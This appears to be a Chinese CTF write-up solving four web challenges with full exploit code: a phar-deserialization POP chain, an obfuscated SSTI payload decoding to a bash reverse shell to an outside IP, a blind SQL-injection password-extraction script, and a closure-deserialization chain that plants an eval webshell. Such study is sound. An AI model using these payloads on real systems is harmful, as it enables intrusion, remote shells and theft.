前言 经过前两次比赛的磨练,打算自己模拟打一次看看
Web Ez to getflag 考点:略微审计,phar反序列化,任意文件读取 难度:这道题可能在大佬面前只是个简单题,我也能做出来应该就是简单题了,但是感觉考的东西还是综合的,在我面前算中档题吧,希望能不断地进步变成简单题 文件读取和文件上传界面,凭着经验发现可以任意文件读取,把下面所有重要文件读出来了:
1 2 3 4 5 6 7 8 <?php error_reporting (0 ); session_start ();require_once ('class.php' );$filename = $_GET ['f' ];$show = new Show ($filename );$show ->show ();?>
1 2 3 4 5 6 7 <?php error_reporting (0 ); session_start ();require_once ('class.php' );$upload = new Upload ();$upload ->uploadfile ();?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 <?php class Upload { public $f ; public $fname ;public $fsize ;function __construct ( ) { $this ->f = $_FILES ; } function savefile ( ) { $fname = md5 ($this ->f["file" ]["name" ]).".png" ; if (file_exists ('./upload/' .$fname )) { @unlink ('./upload/' .$fname ); } move_uploaded_file ($this ->f["file" ]["tmp_name" ],"upload/" . $fname ); echo "upload success! :D" ; } function __toString ( ) { $cont = $this ->fname; $size = $this ->fsize; echo $cont ->$size ; return 'this_is_upload' ; } function uploadfile ( ) { if ($this ->file_check ()) { $this ->savefile (); } } function file_check ( ) { $allowed_types = array ("png" ); $temp = explode ("." ,$this ->f["file" ]["name" ]); $extension = end ($temp ); if (empty ($extension )) { echo "what are you uploaded? :0" ; return false ; } else { if (in_array ($extension ,$allowed_types )) { $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i' ; $f = file_get_contents ($this ->f["file" ]["tmp_name" ]); if (preg_match_all ($filter ,$f )){ echo 'what are you doing!! :C' ; return false ; } return true ; } else { echo 'png onlyyy! XP' ; return false ; } } } } class Show { public $source ; public function __construct ($fname ) { $this ->source = $fname ; } public function show ( ) { if (preg_match ('/http|https|file:|php:|gopher|dict|\.\./i' ,$this ->source)) { die ('illegal fname :P' ); } else { echo file_get_contents ($this ->source); $src = "data:jpg;base64," .base64_encode (file_get_contents ($this ->source)); echo "<img src={$src} />" ; } } function __get ($name ) { $this ->ok ($name ); } public function __call ($name , $arguments ) { if (end ($arguments )=='phpinfo' ){ phpinfo (); }else { $this ->backdoor (end ($arguments )); } return $name ; } public function backdoor ($door ) { include ($door ); echo "hacked!!" ; } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { die ("illegal fname XD" ); } } } class Test {public $str ;public function __construct ( ) {$this ->str="It's works" ;} public function __destruct ( ) {echo $this ->str;} } ?>
审计过后不难发现漏洞点在backdoor
函数,里面有危险函数include
,也很容易的发现pop链为:Test:__destruct=>Upload:__tostring=>Show:__get=>show:__call=>backdoor()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Test {public $str ;} class Upload { public $f ; public $fname ;public $fsize ;function __construct ( ) { $this ->fname=new Show ; $this ->fsize='upload/00bf23e130fa1e525e332ff03dae345d.png' ; } } class Show { public $source ; } $a =new Test ;$a ->str=new Upload ();echo serialize ($a );$phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
upload/00bf23e130fa1e525e332ff03dae345d.png
是事先上传的shell.png文件 将pop中的fsize改为phpinfo就可以看phpinfo界面: 发现短标签开着,OK可以绕过: 之后就在file.php读取我们的phar文件,这里phar文件也需要绕过,可以看到<?php __HALT_COMPILER(); ?>
有敏感字样php,这边需要在linux对phar文件gzip压缩后: 可以看到是乱码一样的,但是可以触发反序列化,读取之后就可以rce了: 参考:
Harddisk 考点:SSTI逃逸 解题数:26 先放结果吧,自己写出来了所以还是有成就感的,感觉自己也算真正的入了门了 解题时有个小TIps,有关SSTI的题,为了图方便,我都会在CTFSHOW也开一个靶场,就是没过滤的,可以自己尝试payload
1 2 3 4 5 6 7 fuzz一下可以发现ban掉了`{{ . [ print 空格`等关键字 对于双括号的过滤可以考虑用`{%set%}`来绕过,由于ban掉了print,也就注定了这一题没有回显,所以最终肯定是要利用反弹shell的 对于关键字的绕过,经测试可以使用unicode编码达到绕过的目的 执行命令使用标签`{%if%}{%endif%}`,这是无回显的,肯定得用反弹shell 我们原来的paylaod可以为`{%set c=lipsum|attr("__globals__"|attr("__getitem__")("__builtins__")|attr("eval")("__import__('os')")|attr("popen")("cmd")|attr(read)()` 空格可以用%09去替代,关键字unicode编码最后payload为: `{%set%09c=lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("eval")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0034\u0033\u002e\u0031\u0034\u0030\u002e\u0032\u0035\u0031\u002e\u0031\u0036\u0039\u002f\u0037\u0037\u0037\u0037\u0020\u0030\u003e\u0026\u0031\u0027")|attr("\u0072\u0065\u0061\u0064")()%}{%if%09c%}1{%endif%}`
可以收到反弹shell: 参考:
https://boogipop.github.io/2022/10/04/CTFSHOW-SSTI/
绝对防御 考点:信息搜集,SQL注入 审计前端js可以发现可疑的路径: 全局搜索一下ImLib.API_PATH
: 发现敏感文件,访问之后尝试传参: 有回显,经过fuzz发现过滤了sleep,if
过滤的很少,可能很多人过滤了if就不知道用什么了,我们可以用elt 写个脚本就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsurl="http://c204e43e-3219-4b52-af66-45dbca51152c.node4.buuoj.cn:81/SUPPERAPI.php" res='' i=0 while True : head=32 tail=127 i+=1 while head<tail: mid=(head+tail)>>1 data={ "id" :f"1 and elt(ascii(substr((select password from users limit 1,1),{i} ,1))>{mid} ,1)#" } r=requests.get(url=url,params=data) if "admin" in r.text: head=mid+1 else : tail=mid if head!=32 : res+=chr (head) print (res) else : break
很难相信这一题也只有16 solves。。自己写出来了,嘻嘻
Newser 考点:新型反序列化,匿名函数闭包反序列化 看标题就知道是个新东西,全场0解 首先扫描目录会发现源码泄露: 重点放在composer.json文件:
1 2 3 4 5 6 7 { "require" : { "fakerphp/faker" : "^1.19" , "opis/closure" : "^3.6" } }
首先先介绍一下php的composer,它相当于java的maven,会根据composer.json文件去自动安装依赖,并生成vendor文件夹,里面有一个autoload.php
,之后在项目中只需要include这个autoload.php就可以自动包含所有依赖了: 目录结构如上,基本的介绍完了,就该说明一下那2个包是什么,其中fakerphp/faker
是用来操作虚假对象的(比如生成随机的用户名,密码,名字,邮箱等信息),另外一个"opis/closure"
是用来闭包的,也就是闭包匿名函数
匿名函数(闭包) 1 2 3 4 5 6 7 <?php $func =function ($a ) { return $a **$a ; }; var_dump (call_user_func ($func ,3 ))?>
上述例子就是利用call_user_func取调用一个匿名函数(闭包),既然可以调用,那匿名函数可不可以像普通变量一样被序列化呢?
1 2 3 4 5 6 7 8 9 10 <?php $func =function ($a ) { return $a **$a ; }; try { var_dump (serialize ($func )); }catch (Exception $e ){ echo $e ; } ?>
1 2 3 4 Exception : Serialization of 'Closure' is not allowed in D:\phpstudy_pro\WWW\CTFTOOL\1 .php:6 Stack trace:
报错信息如上,可以看到匿名函数实际上也就是一个Closure类,也就是上述我们安装的依赖,所以通常情况下是不可以序列化的,但是当我们调用了Closure依赖后会怎么样呢:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php include "vendor/autoload.php" ;$func = function ($b ) { return $b **$b ; }; try { $s = \Opis\Closure \serialize ($func ); var_dump ($s ); echo "-----------------------\n" ; var_dump (unserialize ($s )); echo "-----------------------\n" ; var_dump (\Opis\Closure \unserialize ($s )); echo "-----------------------\n" ; var_dump (call_user_func (unserialize ($s ),3 )); echo "-----------------------\n" ; var_dump (call_user_func (\Opis\Closure \unserialize ($s ),3 )); }catch (Exception $e ){ echo $e ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 string (205 ) "C:32:" Opis\Closure \SerializableClosure":159:{a:5:{s:3:" use ";a:0 :{}s:8 :"function" ;s:36 :"function($b ){ return $b **$b ; }" ;s:5 :"scope" ;N;s:4 :"this" ;N;s:4 :"self" ;s:32 :"0000000031b650db0000000060517cc8" ;}}" ----------------------- object(Opis\Closure\SerializableClosure)#2 (5) { [" closure":protected]=> object(Closure)#5 (1) { [" parameter"]=> array(1) { [" $b "]=> string(10) " <required>" } } [" reflector":protected]=> NULL [" code":protected]=> string(36) " function ($b ) { return $b **$b ; }" [" reference":protected]=> NULL [" scope":protected]=> NULL } ----------------------- object(Closure)#7 (1) { [" parameter"]=> array(1) { [" $b "]=> string(10) " <required>" } } ----------------------- int(27) ----------------------- int(27)
从上面的例子可以看到引入了依赖后闭包是可以被序列化的,并且序列化的结果可以由Closure类的unserialize和普通的unserialize方法去反序列化,并且都可以成功的回调 观察用2种不同的unserialize返回的结果可以发现,Closure下的unserialize返回的是一个Closure
对象,而通用的unserialize返回的是Opis\Closure\SerializableClosure
对象,有一点区别,不过无论结果如何都可以callback
POP构造 题目中只给了一个User类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php class User { protected $_password ; protected $_username ; private $username ; private $password ; private $email ; private $instance ; public function __construct ($username ,$password ,$email ) { $this ->email = $email ; $this ->username = $username ; $this ->password = $password ; $this ->instance = $this ; } public function getEmail ( ) { return $this ->email; } public function getPassword ( ) { return $this ->password; } public function getUsername ( ) { return $this ->username; } public function __sleep ( ) { $this ->_password = md5 ($this ->password); $this ->_username = base64_encode ($this ->username); return ['_username' ,'_password' , 'email' ,'instance' ]; } public function __wakeup ( ) { $this ->password = $this ->_password; } public function __destruct ( ) { echo "User " .$this ->instance->_username." has created." ; } } User em9rZWVmZQ== has created.
审计下来可以发现有用的也就只有:
1 2 3 4 5 6 7 8 9 public function __wakeup ( ) { $this ->password = $this ->_password; } public function __destruct ( ) { echo "User " .$this ->instance->_username." has created." ; }
这两个方法而已,但是如何构造pop呢?我们别忘了还有一个faker依赖: 审计一下\faker\Generator
类,里面有几个重要方法我罗列出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 protected $formatters = [];public function __get ($attribute ) { trigger_deprecation ('fakerphp/faker' , '1.14' , 'Accessing property "%s" is deprecated, use "%s()" instead.' , $attribute , $attribute ); return $this ->format ($attribute ); } public function format ($format , $arguments = [] ) { return call_user_func_array ($this ->getFormatter ($format ), $arguments ); } public function __wakeup ( ) { $this ->formatters = []; } public function getFormatter ($format ) { if (isset ($this ->formatters[$format ])) { return $this ->formatters[$format ]; } if (method_exists ($this , $format )) { $this ->formatters[$format ] = [$this , $format ]; return $this ->formatters[$format ]; } if (preg_match ('|^([a-zA-Z0-9\\\]+)->([a-zA-Z0-9]+)$|' , $format , $matches )) { $this ->formatters[$format ] = [$this ->ext ($matches [1 ]), $matches [2 ]]; return $this ->formatters[$format ]; } foreach ($this ->providers as $provider ) { if (method_exists ($provider , $format )) { $this ->formatters[$format ] = [$provider , $format ]; return $this ->formatters[$format ]; } } throw new \InvalidArgumentException (sprintf ('Unknown format "%s"' , $format )); }
可以看到Generator类中有很多魔术方法,其中注意__get
魔术方法调用了format
方法 而format
方法最终调用了call_user_func_array
函数 和call_user_func一样都是回调函数,其中的$format
参数在getFormatter
方法中处理,该方法会去检索属性formatters
,如果我们的$format是formatter数组的键名,那么就直接返回formatters[$format];
到这里pop链就很清晰了,题目中有__destruct方法,也就是User::_destruct=>\Faker\Generator::__get=>Generator::format()=>call_user_func_array
,但是还有个问题,Generator还有一个__wakeup
会滞空我们的formatter数组,我们得想办法绕过
绕过__wakeup滞空 这道题和十月赛的haide wabo高度相似,我们这里可以利用引用来绕过滞空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class test1 { public $t1 ; public function __construct ($obj ) { echo 1 ; $this ->t1 = &$obj ->t2; } public function __wakeup ( ) { echo 3 ; $this ->t1=NULL ; } } class test2 { public $elem ; public $t2 ; public $obj ; public function __construct ( ) { echo 2 ; $this ->elem = "kino" ; $this ->obj = new test1 ($this ); } public function __wakeup ( ) { echo 4 ; $this ->t2 = $this ->elem; } } $t = new test2 ();$s = serialize ($t );$t2 = unserialize ($s );echo $t2 ->obj->t1;
从上述例子可以看出如果想要避免t1被滞空,我们将t1指向test.t2就可以避免,并且触发顺序也可以理解一下
编写POP 最后了解了一切即可开始编写pop:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace { include "vendor /autoload .php "; class User { public $password ; private $instance ; protected $_password ; public function __construct ( ) { $this ->instance = new \Faker\Generator ($this ); $func =function ( ) { system ("echo '<?php eval(\$_POST[1]);?>'>>'/var/www/html/1.php'" ); }; $ser =\opis\Closure \serialize ($func ); $this ->_password = ["_username" =>unserialize ($ser )]; } } $payload = serialize (new User ()); $new = str_replace ("s:8:\"password\"" ,'s:14:"' .urldecode ('%00' ).'User' .urldecode ('%00' ).'password"' ,$payload ); echo base64_encode ($new ); } namespace Faker { class Generator { protected $formatters ; public function __construct ($obj ) { $this ->formatters=&$obj ->password; } } } ?>
这边需要先手动把passowrd改为public类型再修改回private类型,因为有引用,但其实根据我的测试,由于PHP7.1+对属性类型不敏感,所以那一步操作是完全可以优化的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace { include "vendor /autoload .php "; class User { public $password ; private $instance ; protected $_password ; public function __construct ( ) { $this ->instance = new \Faker\Generator ($this ); $func =function ( ) { system ("echo '<?php eval(\$_POST[1]);?>'>>'/var/www/html/1.php'" ); }; $ser =\opis\Closure \serialize ($func ); $this ->_password = ["_username" =>unserialize ($ser )]; } } $payload = serialize (new User ()); echo $payload ; echo "\n" ; echo base64_encode ($payload ); } namespace Faker { class Generator { protected $formatters ; public function __construct ($obj ) { $this ->formatters=&$obj ->password; } } } ?>
最后忘了说了,在cookie里可以发现base64编码的序列化字符串,所以传参入口在cookie,将上述payload传入,即可写shell进1.php,最后getshell。 赐教!
结语 第一次模拟打,解题数是3/4,感觉不错,现在就要先告一段落了,要去搞期末了呜呜
Reverse